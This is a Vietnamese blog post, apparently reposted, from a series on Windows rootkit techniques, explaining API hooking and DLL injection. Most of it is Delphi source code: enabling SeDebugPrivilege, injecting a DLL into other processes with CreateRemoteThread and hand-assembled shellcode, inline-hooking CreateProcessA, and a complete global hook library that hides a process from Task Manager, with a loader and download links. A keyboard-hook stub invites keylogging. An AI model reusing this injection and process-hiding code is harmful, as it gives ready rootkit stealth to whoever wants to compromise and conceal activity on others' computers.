Trao đổi với tôi

http://www.buidao.com

7/1/09

[Rootkit] Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(1).

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(1).

Link gốc: http://hardsoftvn.wordpress.com/category/bai-phan-tich-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn/

-Trong phần này tôi xin trình bày các cách để gây đột biến mã trong một tiến trình bất kỳ và cả trong nhân hệ điều hành .Đầu tiên cần phải đề cấp tới là trong bộ nhớ của một tiến trình bình thường. Kỹ thuật này có thể nói là khó (tuy nhiên nó lại dễ hơn nhiều so với trong nhân) đối với nhiều bạn mới bắt đầu . Vì vậy tôi sẽ trình bày thật chi tiết.

- Hiện nay có 3 cách chính để gây mã đột biến trong một tiến trình. Đó là sửa bảng IAT (Import Address Table), sửa bảng EAT (Export Address Table) và sửa mã trực tiếp.

-Sửa bảng IAT : Khi một chương trình sử dụng một hàm trong thư viện ngọai vi thì nó sẽ ánh xạ thư viện đó vào vủng nhớ của mình . Bảng IAT đóng vai trò như một chiếc bản đồ giúp chương trình định vị vị trí của hàm trong bộ nhớ của chương trình.Sửa bảng IAt sẽ giúp ta đánh lừa chương trình khi nó cần sử dụng tới hàm bị đột biến.Tuy nhiên cách này rất dễ bị phát hiện và qua mặt.Một chương trình có thể qua mặt cách này dễ dàng bằng cách sử dụng hàm API khai báo theo kiểu trực tiếp (dùng hai hàm là LoadLibrary và GetProcAddress)

iathook

-Khi một thư viện được ánh xạ vào vùng nhớ , nó sẽ lưu vào bảng EAT. Bảng EAT nhằm mục đích lưu giữ danh sách các hàm được sử dụng và vị trí nó tọa lạc trong vùng nhớ . Sửa đổi bảng này sẽ khắc phục được điểm yếu của cách đâu tiên . Có nghĩa là nó không dễ bị phát hiện và nó có thể gây đột biến ở cả hàm được khai báo động (chỉ khai báo khi cần dùng tới) và tĩnh (khai báo khi chương trình bắt đầu).Điểm yếu lớn nhất của cách này là bạn không thể áp dụng nó cho những thư viện đã được ánh xạ và bạn không thể phục hồi hàm đã đột biến trở lại như ban đầu.

-Cách cuối cùng là trực tiếp thay đổi mã thực thi của hàm . Kỹ thuật này sẽ chèn một lệnh nhảy vô điều kiện vào dòng đầu tiên của hàm . Địa chỉ được nhảy tới là địa chỉ một hàm do bạn viết và đã được ánh xạ trên bộ nhớ.Cách này giải quyết được tất cả điểm yếu của hai cách trên . Tuy nhiên nó cũng có nhược điểm riêng của mình : nó cũng dễ bị phát hiện và với một số hàm thì việc đặt lệnh nhảy vào đâu hàm có thể gây giảm tốc độ thực thi.

-Trong bài viết này tôi chỉ hiện thực hóa cách thứ ba vì nó khá dễ áp dụng và ưu điểm của nó rõ ràng hơn hẳn nhược điểm.

-Địa chỉ của lệnh nhảy được đặt vào đầu hàm chỉ có thể thuộc vùng nhớ riêng của một tiến trình . Điều này có nghĩa là bạn không thể thay đổi hướng thực thi của một hàm được ánh xạ trong một tiến trình sang một hàm được ánh xạ trong một tiến trình khác . Việc này làm nảy sinh một vấn đề là làm sao ánh xạ hàm của mình vào vùng nhớ của tiến trình bất kỳ. Hiện nay thì có hai cách để giải quyết việc này : đưa thư viện của mình vào vùng nhớ của tiến trình bất kỳ hay trực tiếp ánh xạ hàm của mình lên vùng nhớ của tiến trình đó . Trong bài viết này tôi chỉ đề cập tới cách đầu tiên vì nó khá dễ thực hiện và an tòan hơn cách thứ hai .

-Để đưa được một cũng có nhiều cách thực hiện . Bạn có thể khai thác lỗ hổng của hàm SetWindowsHookEx hay tạo ra một chỉ tiến trình ngoại lai trong tiến trình bất kỳ.


-Hàm SetWindowsHookEx có dạng HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId); Thông số đầu cho biết sự kiện cần theo dõi. Thông số thứ hai là địa chỉ của hàm sẽ nhận thông tin.Thông số thứ ba là địa chỉ bắt đầu của thư viện trong bộ nhớ.Thông số cuối cùng là số hiệu của chỉ tiến trình cần gây đột biến . Nếu tham số cuối là 0 thì hệ điều hành sẽ sử dụng chỉ tiến trình mặc định.

-ví dụ : khi gọi SetWindowsHookEx(WH_KEYBOARD, kbfunc, DllHandle, 0) , khi bất kỳ tiến trình nào chuẩn bị nhận phím bấm thì thư viện của ta sẽ được ánh xạ vào vùng nhớ của tiến trình đó. Sau đây là dàn ý của thư viện gây đột biến :

BOOL APIENTRY DllMain(HANDLE hModule,DWORD reason_for_call,LPVOID lpReserved)

{

if (reason_for_call == DLL_PROCESS_ATTACH)

{

// Chỗ này dùng để thực hiện thao tác gây đột biến như sửa bảng IAT ,EAT hay sửa mã trực tiếp

}

return TRUE;


}

__declspec (dllexport) LRESULT kbfunc (int code,WPARAM wParam,LPARAM lParam)

{

// đây là nơi xử lý thông tin về WH_KEYBOARD , bạn có thể bỏ trống hay thêm vào tính năng theo dõi bàn phím ^__^

return CallNextHookEx(g_hhook, code, wParam, lParam); // truyền thông tin cho người nhận kế tiếp

}


-Cách thứ hai là tạo ra một chỉ tiến trình ngoại lai do ta điều khiển trong tiến trình bất kỳ.Chỉ tiến trình này sẽ thực thi trong bộ nhớ của tiến trình và ánh xạ một thư viện do ta viết.Để tạo một chỉ tiến trình ngọai lai trong môt tiến trình bất kỳ , ta chỉ cần sử dụng hàm CreateRemoteThread.

-Hàm CreateRemoteThread có dạng:

HANDLE CreateRemoteThread(


HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId);

- Thông số đầu là tay cầm của tiến trình cần gây đột biến . thông số thứ 4 là địa chỉ của hàm do chỉ tiến trình thưc hiện . Thông số thứ 5 là thông số do ta truyền cho chỉ tiến trình.Các thông số còn lại các bạn không cần quan tâm và có thể đặt là NULL hay 0. Để có thể thực hiện được việc ánh xạ thư viện vào bộ nhớ , bạn phải đặt thông số thứ 4 là địa chỉ của hàm LoadLibrary . Bạn có thể lấy địa chỉ này trong chương trình của mình bằng hàm LoadLibrary và GetProcAddress bởi và truyền vào thông số thứ 4 (Điều này có thể chấp nhận được là do hầu như hàm kernel32.dll được ánh xạ với cùng một địa chỉ trong bất cứ tiến trình nào):

GetProcAddress(GetModuleHandle(TEXT( “Kernel32″)), “LoadLibraryA”)


-Thông số thứ 5 là thông số khó chịu nhất khi phải sử dụng cách này. Bạn không thể truyền một chuỗi hay một số vào thông số này vì khi được thưc thi ở tiến trình khác thông số thứ 5 sẽ là địa chỉ của chuỗi hay số ở tiến trình đâu tiên (và bạn không thể biết được nội dung của địa chỉ này).Cách duy nhất là viết tên của thư viện cần ánh xạ vào bộ nhớ của tiến trình cần gây đột biến . Ta có thể dùng hàm VirtualAllocEx để định vị một vùng nhớ trống và hàm WriteProcessMemory với thông số là địa chỉ nhận được từ hàm VirtualAllocEx để ghi tên của thư viện cần ánh xạ vào vùng nhớ của tiến trình cần gây đột biến.

-Sau đây là một số đọan mã viết bằng Delphi để giúp các bạn có thể dễ dàng hiện thực hóa những lý thuyết mà chúng ta nói nãy giờ.

- Để có thể lấy được tay cầm của những tiến trình hệ thống , tiến trình của bạn phải có đặc quyền sửa lỗi (SeDebugPrivilege). Đây là đọan mã để thực hiện điều này :

///////////////////////////////////////////////////////////////////

function EnableDebugPrivilege():Boolean;

var

hToken: dword;

SeDebugNameValue: Int64;

tkp: TOKEN_PRIVILEGES;


ReturnLength: dword;

begin

Result:=false;

OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES

or TOKEN_QUERY, hToken);

if not LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, SeDebugNameValue) then

begin

CloseHandle(hToken);

exit;


end;

tkp.PrivilegeCount := 1;

tkp.Privileges[0].Luid := SeDebugNameValue;

tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),

tkp, ReturnLength);

if GetLastError() ERROR_SUCCESS then exit;

Result:=true;

end;


///////////////////////////////////////////////////////////////////

-Để ánh xạ được thư viện của mình , các bạn có thể dùng đọan mã sau :

///////////////////////////////////////////////////////////////////

Function InjectDll(Process: dword; ModulePath: PChar): boolean;

var

Memory:pointer;

Code: dword;

BytesWritten: dword;

ThreadId: dword;


hThread: dword;

hKernel32: dword;

Inject: packed record

PushCommand:byte;

PushArgument:DWORD;

CallCommand:WORD;

CallAddr:DWORD;

PushExitThread:byte;

ExitThreadArg:dword;


CallExitThread:word;

CallExitThreadAddr:DWord;

AddrLoadLibrary:pointer;

AddrExitThread:pointer;

LibraryName:array[0..MAX_PATH] of char;

end;

begin

Result := false;

// định vị một khỏang trống trong bộ nhớ


Memory := VirtualAllocEx(Process, nil, sizeof(Inject),

MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if Memory = nil then Exit;

Code := dword(Memory);

Inject.PushCommand := $68;

inject.PushArgument := code + $1E;

inject.CallCommand := $15FF;

inject.CallAddr := code + $16;

inject.PushExitThread := $68;


inject.ExitThreadArg := 0;

inject.CallExitThread := $15FF;

inject.CallExitThreadAddr := code + $1A;

hKernel32 := GetModuleHandle(’kernel32.dll’);

inject.AddrLoadLibrary := GetProcAddress(hKernel32, ‘LoadLibraryA’);

inject.AddrExitThread := GetProcAddress(hKernel32, ‘ExitThread’);

lstrcpy(@inject.LibraryName, ModulePath);

// sau khi đã chuẩn bị tòan bộ mã của chỉ tiến trình ngọai lai

// ta viết nội dung của đọan mã này vào bộ nhớ của tiến trình cầng gây đột biến


WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);

hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);

if hThread = 0 then Exit;

CloseHandle(hThread);

Result := True;

end;

///////////////////////////////////////////////////////////////////

-Sau đây là một ví dụ thực tế về việc chặn hàm CreateProcessA bằng phương pháp đổi mã trực tiếp :

///////////////////////////////////////////////////////////////////


library ApiHook;

uses

TLHelp32, windows;

type

// thông tin về nơi sẽ nhảy tới

fr_jmp = packed record

PuhsOp: byte;

PushArg: pointer;

RetOp: byte;


end;


// thông tin về nơi xuất phát


OldCode = packed record

One: dword;

two: word;

end;


var

// địac chỉ của hàm CreateProcessA

AdrCreateProcessA: pointer;


OldCrp: OldCode;

JmpCrProcA: far_jmp;


Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;

stdcall; external ‘kernel32.dll’;


Procedure StopThreads;

var

h, CurrTh, ThrHandle, CurrPr: dword;

Thread: TThreadEntry32;

begin


CurrTh := GetCurrentThreadId;

CurrPr := GetCurrentProcessId;

h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

if h INVALID_HANDLE_VALUE then

begin

Thread.dwSize := SizeOf(TThreadEntry32);

// chạy từ trong ra ngòai

if Thread32First(h, Thread) then

repeat


// nếu đúng là tiến trình chủ (tức tiến trình đang thực hiện những dòng mã này)…

if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then

begin

// lấy tay cầm của chỉ tiến trình

ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);

if ThrHandle>0 then

begin

SuspendThread(ThrHandle);


CloseHandle(ThrHandle);

end;

end;

until not Thread32Next(h, Thread);

CloseHandle(h);

end;

end;


// hàm để tiếp tục chạy chỉ tiến trình sau khi nó bị tạm ngưng


Procedure RunThreads;


var

h, CurrTh, ThrHandle, CurrPr: dword;

Thread: TThreadEntry32;

begin

CurrTh := GetCurrentThreadId;

CurrPr := GetCurrentProcessId;

h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

if h INVALID_HANDLE_VALUE then

begin


Thread.dwSize := SizeOf(TThreadEntry32);

if Thread32First(h, Thread) then

repeat

if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then

begin

ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);

if ThrHandle>0 then

begin


ResumeThread(ThrHandle);

CloseHandle(ThrHandle);

end;

end;

until not Thread32Next(h, Thread);

CloseHandle(h);

end;

end;


// mô hình của hàm CreateProcessA thật



function TrueCreateProcessA(lpApplicationName: PChar;

lpCommandLine: PChar;

lpProcessAttributes,

lpThreadAttributes: PSecurityAttributes;

bInheritHandles: BOOL;

dwCreationFlags: DWORD;

lpEnvironment: Pointer;

lpCurrentDirectory: PChar;

const lpStartupInfo: TStartupInfo;


var lpProcessInformation: TProcessInformation): BOOL;

begin

// phục hồi hàm CreateProcessA lại như cũ

WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);

//gọi hàm CreateProcessA đã được phục hồi

result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,

lpThreadAttributes, bInheritHandles, dwCreationFlags or

CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,

lpProcessInformation);


// Gây đột biến bằng 1 lệnh nhảy vào đầu hàm

WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);

end;


// hàm CreateProcessA bị đột biến


function NewCreateProcessA(lpApplicationName: PChar;

lpCommandLine: PChar;

lpProcessAttributes,

lpThreadAttributes: PSecurityAttributes;

bInheritHandles: BOOL;


dwCreationFlags: DWORD;

lpEnvironment: Pointer;

lpCurrentDirectory: PChar;

const lpStartupInfo: TStartupInfo;

var lpProcessInformation: TProcessInformation): BOOL; stdcall;

begin

//muốn chém , muốn giết thì tùy ý

end;


// hàm trực tiếp ghi lệnh nhảy vào đầu hàm khác



Procedure SetHook;

var

HKernel32, HUser32: dword;

begin

CurrProc := GetCurrentProcess;

AdrCreateProcessA := GetProcAddress(GetModuleHandle(’kernel32.dll’), ‘CreateProcessA’);

JmpCrProcA.PuhsOp := $68;

JmpCrProcA.PushArg := @NewCreateProcessA;

JmpCrProcA.RetOp := $C3;


ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);

WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);

end;


begin

StopThreads;

SetHook;

RunThreads;

end.

///////////////////////////////////////////////////////////////////


-Sau đây là một ví dụ thực tế nữa về cách ẩn một tiến trình:

///////////////////////////////////////////////////////////////////

library Hide;


uses

Windows,

NativeAPI;

//thông tin về hàm lúc đầu

type

OldCode = packed record


One: dword;

two: word;

end;


//thông tin về hàm đột biến

far_jmp = packed record

PuhsOp: byte;

PushArg: pointer;

RetOp: byte;

end;



var

JmpZwq: far_jmp;

OldZwq: OldCode;

PtrZwq: pointer;

//Mô hình của hàm lúc đầu

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;

ASystemInformation: Pointer;

ASystemInformationLength: dword;

AReturnLength: PCardinal): NTStatus; stdcall;


var

Written: dword;

begin

// phục hồi lại như cũ

WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,

@OldZwq, SizeOf(OldCode), Written);

// gọi hàm sau khi đã được hồi phục

Result := ZwQuerySystemInformation(ASystemInformationClass,

ASystemInformation,


ASystemInformationLength,

AReturnLength);

// chèn lệnh nhảy 1 lần nữa vào đầu hàm

WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,

@JmpZwq, SizeOf(far_jmp), Written);

end;

//mô hình hàm đột biến

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;

ASystemInformation: Pointer;


ASystemInformationLength: dword;

AReturnLength: PCardinal): NTStatus; stdcall;

var

Info, Prev: PSYSTEM_PROCESSES;

begin

Result := TrueZwQuerySystemInformation(ASystemInformationClass,

ASystemInformation,

ASystemInformationLength,

AReturnLength);


// đọc thông số của hàm bị đột biến , nếu cần thì sẽ bỏ bớt thông số về tiến trình cần giấu -> tiến trình này sẽ ẩn trong tskmgr

if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and

(Result = STATUS_SUCCESS) then

begin

Info := ASystemInformation;

while(Info^.NextEntryDelta > 0) do // dò từ trong ra ngòai

begin


Prev := Info;

Info := pointer(dword(Info) + Info^.NextEntryDelta);

if lstrcmpiw(Info^.ProcessName.Buffer, ‘winlogon.exe’) = 0 then // nếu đúng là ku Winlogon.exe thì …

Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; // bớt một dòng trong danh sách tiến trình

end;

end;

end;

//hàm thực hiện việc chèn lệnh nhảy vào đầu hàm

Procedure SetHook();


var

Bytes: dword;

begin

// tìm địa chỉ của hàm ‘ZwQuerySystemInformation’

PtrZwq := GetProcAddress(GetModuleHandle(’ntdll.dll’),

‘ZwQuerySystemInformation’);

// đặt lệnh nhảy

ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);

JmpZwq.PuhsOp := $68;


JmpZwq.PushArg := @NewZwQuerySystemInformation;

JmpZwq.RetOp := $C3;

WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);

end;

//hàm phục hồi lại như cũ

Procedure Unhook();

var

Bytes: dword;

begin


WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);

end;

// nơi tiếp nhận thông tin của SetWindowsHookEx

Function MessageProc(code : integer; wParam : word;

lParam : longint) : longint; stdcall;

begin

CallNextHookEx(0, Code, wParam, lparam);

Result := 0;

end;


// đăng ký một vé để được nhận thông tin về WH_GETMESSAGE

Procedure SetGlobalHookProc();

begin

SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);

Sleep(INFINITE);

end;


Procedure SetGlobalHook();

var

hMutex: dword;


TrId: dword;

begin

hMutex := CreateMutex(nil, false, ‘ProcHideHook’);

if GetLastError = 0 then

CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else

CloseHandle(hMutex);

end;

// nơi bắt đầu mã thực thi của thư viện

procedure DLLEntryPoint(dwReason: DWord);


begin

case dwReason of

DLL_PROCESS_ATTACH: begin

SetGlobalHook();

SetHook();

end;

DLL_PROCESS_DETACH: begin

Unhook();

end;


end;

end;


begin

DllProc := @DLLEntryPoint;

DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

////////////////////////////////////////////////////

- Đó là đọan mã của thư viện tên là Hide.dll . Để giúp thư viện này sống mãi trong bộ nhớ của bất kỳ tiến trình nào(cả đã tồn tai lẫn sắp tồn tại) , ta cần thực hiện đọan mã sau trong chương trình chính:

////////////////////////////////////////////////////


program ApiLoader;

uses

Windows;

begin

LoadLibrary(’hide.dll’);

SLEEP(INFINITE);

end.

////////////////////////////////////////////////////

- Khi thực thi ví dụ này , tiến trình winlogon.exe sẽ bị ẩn trong tskmgr. Để hiện trở lại winlogon.exe các bạn chỉ việc hủy tiến trình prochide.exe. Với ví dụ này , các bạn đã có một dàn bài hòan chỉnh để có thể gây đột biến bất kỳ hàm nào mà không cần dùng những công cụ của hãng thứ ba như Detour(Microsoft) hay madcodehook(Madshi). Hãy nhớ thiện ác tùy tâm (nam mô adi đà phật) …


-Để có được thư viện NativeAPI các bạn có thể tải ở đây : http://www.freewebtown.com/khoalhp261/NativeAPI.pas

-Mã nguồn của chương trình ẩn tiến trình các bạn tải ở đây :http://www.freewebtown.com/khoalhp261/prochide.rar

- Kỳ tới : Họ đã làm điều đó như thế nào ở trong nhân ? Tin đồn về một số rootkit có thể lấy quyền điều hành ngay khi chạy lần đầu tiên ở chế độ Người dùng giới hạn có thật không ? Và tôi sẽ phân tích một số rootkit tiêu biểu hiện nay như Fu , Futo và hxdef …

Đăng bởi : Trần Hữu Đăng Khoa.